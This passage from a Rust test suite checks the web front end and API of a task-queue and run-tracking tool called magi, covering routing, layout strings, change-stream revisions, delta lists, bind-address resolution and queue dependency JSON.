12002 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
12006 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
12007 assert!(
12008 APP_JS.contains("location.hash = \"#/questions\";"),
12009 "a question node must jump to the Questions screen, not pretend to be a task"
12010 );
12011
12012 assert!(APP_JS.contains("Resolved questions"));
12015 assert!(APP_JS.contains("r.answersList.append("));
12016 assert!(APP_CSS.contains(".task-answers"));
12017 {
12018 let start = APP_JS
12019 .find("function updateTalkTaskRow")
12020 .expect("updateTalkTaskRow");
12021 let body = &APP_JS[start..];
12022 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
12023 assert!(
12024 body.contains(
12025 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
12026 ),
12027 "a chat-filed task row must link to the task page"
12028 );
12029 assert!(
12030 !body.contains("#/runs/") && !body.contains("#/queue/"),
12031 "the row must not branch to a run or the queue card"
12032 );
12033 assert!(APP_CSS.contains(".talk-task-link"));
12034 }
12035 }
12036
12037 #[test]
12038 fn a_task_notification_links_to_the_task_page() {
12039 let start = APP_JS
12041 .find("function noticeLink(")
12042 .expect("noticeLink exists");
12043 let body = &APP_JS[start..];
12044 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
12045 assert!(
12046 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
12047 "a task notice's link must target the task page"
12048 );
12049 assert!(
12050 !body.contains("#/queue/"),
12051 "regression: the task link must not go back to the Backlog route"
12052 );
12053 assert!(
12054 APP_JS.contains(
12055 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
12056 ),
12057 "`#/tasks/<id>` must parse into the task route"
12058 );
12059
12060 assert!(
12062 APP_JS.contains(
12063 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
12064 ),
12065 "`#/queue/<id>` must parse into a route carrying that id"
12066 );
12067
12068 assert!(APP_JS.contains("state.queueFocus = route.id;"));
12072 assert!(APP_JS.contains("function consumeQueueFocus()"));
12073 assert!(APP_JS.contains("jumpToTask(id)"));
12074 }
12075
12076 #[test]
12079 fn chat_rows_put_the_title_alone_on_the_first_line() {
12080 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
12081 assert!(APP_CSS.contains(
12082 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
12083 ));
12084 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
12085 assert!(APP_JS.contains("class: \"badge talk-unread\""));
12086 }
12087
12088 #[test]
12089 fn run_rows_put_the_title_alone_on_the_first_line() {
12090 assert!(
12091 APP_CSS.contains(
12092 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
12093 )
12094 );
12095 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
12096 assert!(APP_JS.contains("class: \"card run-card\""));
12097 assert!(APP_JS.contains("class: \"repo run-id\""));
12098 }
12099
12100 #[test]
12104 fn wide_screens_show_list_and_preview_side_by_side() {
12105 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
12107 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
12108 assert!(APP_CSS.contains("main[data-split]"));
12109 assert!(APP_CSS.contains("body[data-split]"));
12110
12111 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
12113 assert!(APP_JS.contains("case \"run\": return { list: \"runs\", detail: \"run\" };"));
12114 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
12115 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
12116 assert!(INDEX_HTML.contains("id=\"split-empty\""));
12117
12118 assert!(APP_JS.contains("function markSelected() {"));
12120 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
12121 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
12122 assert!(
12124 APP_CSS.contains(
12125 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
12126 )
12127 );
12128
12129 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
12131 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
12132 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
12133 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
12134
12135 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
12139 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
12140 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
12141 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
12142
12143 assert!(APP_JS.contains("sandbox: \"\""));
12145 assert!(!APP_JS.contains("sandbox: \"allow"));
12146 }
12147
12148 #[test]
12149 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
12150 assert!(
12159 APP_JS.contains(
12160 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
12161 ),
12162 "the search-clearing branch must run before state.queueFocus is cleared, or the \
12163 recursive renderQueue() call has nothing left to jump to"
12164 );
12165 assert!(
12166 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
12167 "state.queueFocus must be cleared only once the jump has landed, so a card that \
12168 arrives later still gets it"
12169 );
12170 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
12171 assert!(APP_JS.contains("is not in the current Backlog."));
12172 assert!(APP_JS.contains("li.card[data-task-id=\""));
12173 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
12174 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
12175 assert!(APP_CSS.contains(".card-permalink"));
12176 assert!(APP_CSS.contains(".queue-focus-status"));
12177 assert!(APP_JS.contains("const section = route.name === \"run\" ? \"runs\""));
12178 }
12179
12180 #[test]
12181 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
12182 assert!(
12190 APP_JS.contains(
12191 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
12192 ),
12193 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
12194 );
12195 }
12196
12197 #[test]
12198 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
12199 assert!(
12200 APP_JS.contains("round.verified_head !== round.head"),
12201 "a round that verified an earlier commit must be visibly distinct from one that \
12202 verified the head reviewers are looking at now"
12203 );
12204 assert!(
12205 APP_JS.contains("round.verified_at"),
12206 "when a check ran must be on the wire, not just which commit"
12207 );
12208 assert!(
12209 APP_JS.contains("resource_blocked"),
12210 "a command magi never got to run (shared build cache contention) must not render \
12211 the same as a command that ran and failed"
12212 );
12213 }
12214
12215 #[test]
12216 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
12217 assert!(
12225 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
12226 "every KPI tile built through statusTile() must route its click through \
12227 openRunsFiltered, the single place that sets the Runs filter"
12228 );
12229 for (label, status) in [
12230 ("Merged", "merged"),
12231 ("Ready", "ready"),
12232 ("Blocked", "blocked"),
12233 ("Stalled", "stalled"),
12234 ] {
12235 let call = format!("statusTile(\"{label}\", t.{status}, ");
12236 assert!(
12237 APP_JS.contains(&call),
12238 "expected the {label} KPI tile built via {call}..."
12239 );
12240 assert!(
12241 APP_JS.contains(&format!("status === \"{status}\"")),
12242 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
12243 compare a run against, not one invented only for the stats tile"
12244 );
12245 }
12246 assert!(
12247 APP_JS.contains("function openRunsFiltered(status)"),
12248 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
12249 );
12250 assert!(
12251 APP_JS.contains(
12252 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
12253 ),
12254 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
12255 );
12256 assert!(
12264 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
12265 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
12266 hashchange event that may never fire"
12267 );
12268 }
12269
12270 #[test]
12271 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
12272 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
12278 assert!(
12279 APP_JS.contains(
12280 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
12281 ),
12282 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
12283 guard for an incompatible tree section"
12284 );
12285 }
12286
12287 #[test]
12288 fn every_stats_queue_tile_names_a_real_queue_section() {
12289 assert!(
12295 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
12296 "every queue tile built through sectionTile() must route its click through \
12297 openQueueSectionFocus"
12298 );
12299 for key in ["upnext", "running", "done", "held", "blocked"] {
12300 assert!(
12301 APP_JS.contains(&format!("{{ key: \"{key}\",")),
12302 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
12303 );
12304 }
12305 for line in [
12309 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
12310 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
12311 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
12312 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
12313 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
12314 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
12315 ] {
12316 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
12317 }
12318 }
12319
12320 #[test]
12321 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
12322 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
12329 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
12330 assert!(APP_JS.contains("function revealQueueSection(details)"));
12331 assert!(
12332 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
12333 "renderQueue() must consume both focus channels on every pass"
12334 );
12335 assert!(
12336 APP_JS.contains(
12337 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
12338 ),
12339 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
12340 the recursive renderQueue() call has nothing left to reveal"
12341 );
12342 assert!(
12343 APP_JS.contains(
12344 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
12345 ),
12346 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
12347 );
12348 assert!(
12356 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
12357 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
12358 hashchange event that may never fire"
12359 );
12360 }
12361
12362 #[tokio::test]
12363 async fn the_change_stream_announces_the_current_revisions_on_connect() {
12364 let f = Fixture::start().await;
12365
12366 let mut socket = tokio::net::TcpStream::connect(f.addr)
12367 .await
12368 .expect("connect");
12369 socket
12370 .write_all(
12371 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
12372 )
12373 .await
12374 .expect("write request");
12375
12376 let mut seen = String::new();
12379 let mut buf = [0u8; 1024];
12380 while !seen.contains("event: change") {
12381 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
12382 .await
12383 .expect("the stream must speak within five seconds")
12384 .expect("read");
12385 assert!(read > 0, "the server closed the change stream: {seen}");
12386 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
12387 }
12388
12389 assert!(
12390 seen.to_lowercase()
12391 .contains("content-type: text/event-stream"),
12392 "the browser only reconnects automatically for a real SSE stream: {seen}"
12393 );
12394 let data = seen
12395 .lines()
12396 .find_map(|l| l.strip_prefix("data:"))
12397 .expect("a data line");
12398 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
12399 assert!(
12400 payload["queue_rev"].is_u64()
12401 && payload["runs_rev"].is_u64()
12402 && payload["questions_rev"].is_u64()
12403 && payload["talks_rev"].is_u64()
12404 && payload["notifications_rev"].is_u64()
12405 && payload["loop_rev"].is_u64(),
12406 "the client needs one revision per store to know what to refetch, \
12407 and `talks_rev` is the only notification a standing talk gets - a \
12408 phone whose radio slept through a turn learns about it here, as \
12409 does one whose operator started the loop from another device: \
12410 {payload}"
12411 );
12412
12413 let health = f.get("/api/health").await.json();
12420 for key in [
12421 "queue_rev",
12422 "runs_rev",
12423 "questions_rev",
12424 "talks_rev",
12425 "notifications_rev",
12426 "loop_rev",
12427 ] {
12428 assert!(
12429 health[key].is_u64(),
12430 "health is the change stream's fallback and is missing `{key}`: {health}"
12431 );
12432 }
12433 }
12434
12435 #[tokio::test]
12436 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
12437 let f = Fixture::start().await;
12438 let before = f.get("/api/health").await.json()["talks_rev"]
12439 .as_u64()
12440 .expect("talks_rev");
12441
12442 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
12443 std::thread::sleep(Duration::from_millis(10));
12444 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
12445 on_disk.turns.push(crate::talk::Turn {
12446 who: crate::talk::Who::Operator,
12447 body: "a new turn".to_owned(),
12448 at: Timestamp::now(),
12449 attachments: Vec::new(),
12450 usage: None,
12451 });
12452 f.talks().put(&mut on_disk).expect("record a turn");
12453
12454 let after = f.get("/api/health").await.json()["talks_rev"]
12455 .as_u64()
12456 .expect("talks_rev");
12457 assert_ne!(
12458 before, after,
12459 "a phone must be able to notice a talk's reply without polling every store"
12460 );
12461 }
12462
12463 #[test]
12464 fn bind_reads_back_from_the_spelling_the_cli_prints() {
12465 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
12469 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
12470 }
12471 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
12472 assert!("everywhere".parse::<Bind>().is_err());
12473 }
12474
12475 #[test]
12476 fn an_explicit_bind_address_is_taken_verbatim() {
12477 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
12478
12479 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
12480
12481 assert_eq!(addr, asked);
12482 assert!(
12483 warning.is_none(),
12484 "an operator who named an address gets no lecture"
12485 );
12486 }
12487
12488 #[test]
12489 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
12490 let (addr, warning) = resolve_bind(&Bind::Auto);
12491
12492 match addr {
12499 IpAddr::V4(ip) if is_tailnet(&ip) => {
12500 assert!(warning.is_none(), "a tailnet address needs no warning");
12501 }
12502 other => {
12503 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
12504 let warning = warning.expect("a fallback has to explain itself");
12505 assert!(
12506 warning.contains("127.0.0.1") && warning.contains("local-only"),
12507 "the warning says what happened and what it costs: {warning}"
12508 );
12509 }
12510 }
12511 }
12512
12513 #[test]
12514 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
12515 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
12519 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
12520 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
12521 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
12522 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
12523 }
12524
12525 #[test]
12526 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
12527 let ids = vec![
12528 "20260902-140501-aaaa".to_owned(),
12529 "20260902-140502-aabb".to_owned(),
12530 ];
12531
12532 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
12533 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
12534 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
12535
12536 assert_eq!(missing.status, StatusCode::NOT_FOUND);
12537 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
12538 assert_eq!(short, "20260902-140502-aabb");
12539 }
12540 #[tokio::test]
12541 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
12542 let fx = Fixture::start().await;
12548 let id = panel(
12549 &fx,
12550 "<img src=\"shot.png\">",
12551 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
12552 );
12553
12554 let doc = fx
12556 .get(&format!("/api/questions/{id}/panel/index.html"))
12557 .await;
12558 assert_eq!(doc.status, 200, "{}", doc.body);
12559 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
12560
12561 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
12562 assert_eq!(sibling.status, 200, "{}", sibling.body);
12563 assert_eq!(sibling.header("content-type"), Some("image/png"));
12564 assert_eq!(
12565 sibling.header("content-security-policy"),
12566 Some(PANEL_CSP),
12567 "the sibling route must carry the same policy as the asset route"
12568 );
12569
12570 assert_eq!(
12573 fx.head(&format!("/api/questions/{id}/panel")).await.status,
12574 200
12575 );
12576 }
12577
12578 #[test]
12579 fn delta_stamps_cover_add_update_remove_and_noop() {
12580 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
12581 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
12582 let delta = diff_stamps(&before, &after, 42);
12583 assert_eq!(delta.base, 42);
12584 assert_eq!(delta.changed, ["b", "c"]);
12585 assert_eq!(delta.removed, ["a"]);
12586 let same = diff_stamps(&after, &after, 43);
12587 assert!(same.changed.is_empty() && same.removed.is_empty());
12588 assert_ne!(stamps_revision(&before), stamps_revision(&after));
12589 let nanos: Stamps = [("b".into(), (2, 20))].into();
12590 let same_ms: Stamps = [("b".into(), (3, 20))].into();
12591 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
12592 assert_eq!(stamps_revision(&Stamps::new()), 0);
12593 }
12594
12595 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
12596 std::fs::create_dir_all(home.join("runs")).unwrap();
12597 Arc::new(Ui::new(
12598 Queue::at(home.join("queue")),
12599 Questions::at(home.join("questions")),
12600 Talks::at(home.join("talks")),
12601 home.join("runs"),
12602 home.to_owned(),
12603 PathBuf::from("/repo/magi"),
12604 ))
12605 }
12606
12607 #[tokio::test]
12608 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
12609 let home = TempDir::new().unwrap();
12610 let ui = delta_test_ui(home.path());
12611 let mut task = Task::new(
12612 "stream task".into(),
12613 "text".into(),
12614 PathBuf::from("/repo"),
12615 Source::Human,
12616 );
12617 ui.queue.put(&mut task).unwrap();
12618 let response = events(State(ui.clone())).await.into_response();
12619 let mut stream = response.into_body().into_data_stream();
12620 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
12621 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
12622 .await
12623 .unwrap()
12624 .unwrap()
12625 .unwrap();
12626 let text = String::from_utf8(chunk.to_vec()).unwrap();
12627 let data = text
12628 .lines()
12629 .find_map(|line| {
12630 line.strip_prefix("data: ")
12631 .or_else(|| line.strip_prefix("data:"))
12632 })
12633 .unwrap();
12634 serde_json::from_str(data).unwrap()
12635 }
12636 let initial = change(&mut stream).await;
12637 assert!(initial.get("queue_delta").is_none());
12638 task.instruction.push_str(" changed");
12639 ui.queue.put(&mut task).unwrap();
12640 let updated = change(&mut stream).await;
12641 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
12642 assert_eq!(
12643 updated["queue_delta"]["changed"],
12644 serde_json::json!([task.id])
12645 );
12646 assert_eq!(
12647 updated["queue_rev"].as_u64(),
12648 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
12649 );
12650 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
12651 let removed = change(&mut stream).await;
12652 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
12653 assert_eq!(
12654 removed["queue_delta"]["removed"],
12655 serde_json::json!([task.id])
12656 );
12657 }
12658
12659 #[tokio::test]
12660 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
12661 let home = TempDir::new().unwrap();
12662 let ui = delta_test_ui(home.path());
12663 let queue = ui.queue.clone();
12664 let query = |ids: Option<&str>| {
12665 Query(ListQuery {
12666 limit: Some(2),
12667 ids: ids.map(str::to_owned),
12668 })
12669 };
12670 let mut root = Task::new(
12671 "root".into(),
12672 "instruction".into(),
12673 PathBuf::from("/repo"),
12674 Source::Human,
12675 );
12676 queue.put(&mut root).unwrap();
12677 let mut blocked = Task::new(
12678 "blocked".into(),
12679 "instruction".into(),
12680 PathBuf::from("/repo"),
12681 Source::Human,
12682 );
12683 blocked.block(vec![root.id.clone()], None);
12684 queue.put(&mut blocked).unwrap();
12685 let whole =
12686 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
12687 .unwrap();
12688 let subset = serde_json::to_value(
12689 queue_list(State(ui.clone()), query(Some(&root.id)))
12690 .await
12691 .unwrap()
12692 .0,
12693 )
12694 .unwrap();
12695 assert_eq!(whole, subset, "requested root plus its blocked dependent");
12696 let blockers = serde_json::to_value(
12697 queue_list(State(ui.clone()), query(Some("")))
12698 .await
12699 .unwrap()
12700 .0,
12701 )
12702 .unwrap();
12703 assert_eq!(blockers.as_array().unwrap().len(), 1);
12704 assert_eq!(blockers[0]["id"], blocked.id);
12705 assert_eq!(
12706 blockers[0]["waits_on"],
12707 whole
12708 .as_array()
12709 .unwrap()
12710 .iter()
12711 .find(|row| row["id"] == blocked.id)
12712 .unwrap()["waits_on"]
12713 );
12714
12715 for id in [
12716 "20260902-140501-aaaa",
12717 "20260902-140502-bbbb",
12718 "20260902-140503-cccc",
12719 ] {
12720 write_run(&ui.runs, id, RunStatus::Merged);
12721 }
12722 let old = serde_json::to_value(
12723 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
12724 .await
12725 .unwrap()
12726 .0,
12727 )
12728 .unwrap();
12729 assert!(
12730 old.as_array().unwrap().is_empty(),
12731 "older updates must not enter the window"
12732 );
12733 let newest = serde_json::to_value(
12734 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
12735 .await
12736 .unwrap()
12737 .0,
12738 )
12739 .unwrap();
12740 assert_eq!(newest.as_array().unwrap().len(), 1);
12741 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
12742
12743 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
12744 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
12745 let talks = serde_json::to_value(
12746 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
12747 .await
12748 .unwrap()
12749 .0,
12750 )
12751 .unwrap();
12752 assert_eq!(talks.as_array().unwrap().len(), 1);
12753 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
12754 assert_eq!(
12755 serde_json::to_value(
12756 talks_list(State(ui.clone()), query(Some("")))
12757 .await
12758 .unwrap()
12759 .0
12760 )
12761 .unwrap(),
12762 serde_json::json!([])
12763 );
12764 }
12765
12766 #[tokio::test]
12767 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
12768 async fn delta_payload_benchmark() {
12769 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
12770 let ui = delta_test_ui(&home);
12771 let query = |ids: Option<String>| {
12772 Query(ListQuery {
12773 limit: Some(50),
12774 ids,
12775 })
12776 };
12777 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
12778 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
12779 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
12780 let queue_id = queue
12781 .iter()
12782 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
12783 .unwrap_or(&queue[0])
12784 .task
12785 .id
12786 .clone();
12787 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
12788 .await
12789 .unwrap()
12790 .0;
12791 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
12792 .await
12793 .unwrap()
12794 .0;
12795 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
12796 .await
12797 .unwrap()
12798 .0;
12799 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
12800 eprintln!(
12801 "DELTA_PAYLOAD {}",
12802 serde_json::json!({
12803 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
12804 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
12805 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
12806 "counts": [queue.len(), runs.len(), talks.len()],
12807 "blocked": queue_delta.len() - 1,
12808 })
12809 );
12810 }
12811
12812 #[test]
12813 fn runs_revision_moves_when_deleting_an_older_run() {
12814 let temp = TempDir::new().expect("tempdir");
12815 let runs = temp.path().join("runs");
12816 std::fs::create_dir_all(&runs).expect("create runs dir");
12817
12818 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
12819
12820 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
12821 std::thread::sleep(Duration::from_millis(10));
12822 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
12823
12824 let rev_before = runs_revision(&runs);
12825 assert!(rev_before > 0);
12826
12827 let old_dir = runs.join("20260901-100000-old1");
12828 std::fs::remove_dir_all(&old_dir).expect("remove old run");
12829
12830 let rev_after = runs_revision(&runs);
12831 assert_ne!(
12832 rev_before, rev_after,
12833 "deleting an older run must change the revision so other clients see the deletion"
12834 );
12835 }
12836
12837 fn write_state(runs: &FsPath, state: &RunState) {
12842 let dir = runs.join(&state.id);
12843 std::fs::create_dir_all(&dir).expect("run dir");
12844 std::fs::write(
12845 dir.join("run.json"),
12846 serde_json::to_string_pretty(state).expect("serialize run"),
12847 )
12848 .expect("write run.json");
12849 }
12850
12851 #[test]
12856 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
12857 let temp = TempDir::new().expect("tempdir");
12858 let runs = temp.path().join("runs");
12859 std::fs::create_dir_all(&runs).expect("create runs dir");
12860 let mut state = RunState::new(
12861 PathBuf::from("/repo/magi"),
12862 "main".to_owned(),
12863 "0123456789abcdef".to_owned(),
12864 "task".to_owned(),
12865 Config::default(),
12866 );
12867 state.id = "20260902-100000-c0de".to_owned();
12868 write_state(&runs, &state);
12869
12870 let rev_idle = runs_revision(&runs);
12871 std::thread::sleep(Duration::from_millis(10));
12872 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
12873 write_state(&runs, &state);
12874 let rev_started = runs_revision(&runs);
12875 assert_ne!(
12876 rev_idle, rev_started,
12877 "a seat starting must move the revision"
12878 );
12879
12880 std::thread::sleep(Duration::from_millis(10));
12881 state.seat_finished("judge-1");
12882 write_state(&runs, &state);
12883 let rev_finished = runs_revision(&runs);
12884 assert_ne!(
12885 rev_started, rev_finished,
12886 "and clearing it again must move the revision a second time"
12887 );
12888 }
12889
12890 #[tokio::test]
12891 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
12892 let fx = Fixture::start().await;
12897 let q = fx.queue();
12898
12899 let mut t = Task::new(
12900 "Task".to_owned(),
12901 "Instruction".to_owned(),
12902 PathBuf::from("/repo"),
12903 Source::Human,
12904 );
12905 t.block(
12906 vec!["20260101-000000-dead".to_owned()],
12907 Some("waiting on Task 1".to_owned()),
12908 );
12909 t.answers.push(crate::queue::AnsweredQuestion {
12910 question: "Which backend?".to_owned(),
12911 answer: "SQLite".to_owned(),
12912 });
12913 q.put(&mut t).expect("put t");
12914
12915 let res = fx.get("/api/queue").await;
12916 assert_eq!(res.status, 200);
12917 let list = res.json();
12918 let view = list
12919 .as_array()
12920 .expect("array")
12921 .iter()
12922 .find(|v| v["id"] == t.id)
12923 .expect("task in list");
12924 assert_eq!(view["status_str"], "blocked");
12925 assert_eq!(
12926 view["blocked_by"],
12927 serde_json::json!(["20260101-000000-dead"])
12928 );
12929 assert_eq!(view["block_reason"], "waiting on Task 1");
12930 assert_eq!(view["answers"][0]["question"], "Which backend?");
12931 assert_eq!(view["answers"][0]["answer"], "SQLite");
12932
12933 let res = fx
12937 .post(&format!("/api/queue/{}/hold", t.short()), None)
12938 .await;
12939 assert_eq!(res.status, 200);
12940 let held = res.json();
12941 assert_eq!(held["status_str"], "held");
12942 assert_eq!(held["blocked_by"], serde_json::json!([]));
12943 assert!(held["block_reason"].is_null());
12944 assert_eq!(held["answers"][0]["answer"], "SQLite");
12945 }
12946
12947 #[tokio::test]
12948 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
12949 let fx = Fixture::start().await;
12950 let q = fx.queue();
12951 let mk = |title: &str| {
12952 Task::new(
12953 title.to_owned(),
12954 "Instruction".to_owned(),
12955 PathBuf::from("/repo"),
12956 Source::Human,
12957 )
12958 };
12959 let mut root = mk("root");
12960 root.hold_manual(Some("waiting".to_owned()));
12961 q.put(&mut root).unwrap();
12962 let mut mid = mk("mid");
12963 mid.block(vec![root.id.clone()], None);
12964 q.put(&mut mid).unwrap();
12965 let mut leaf = mk("leaf");
12966 leaf.block(vec![mid.id.clone()], None);
12967 q.put(&mut leaf).unwrap();
12968
12969 let list = fx.get("/api/queue").await.json();
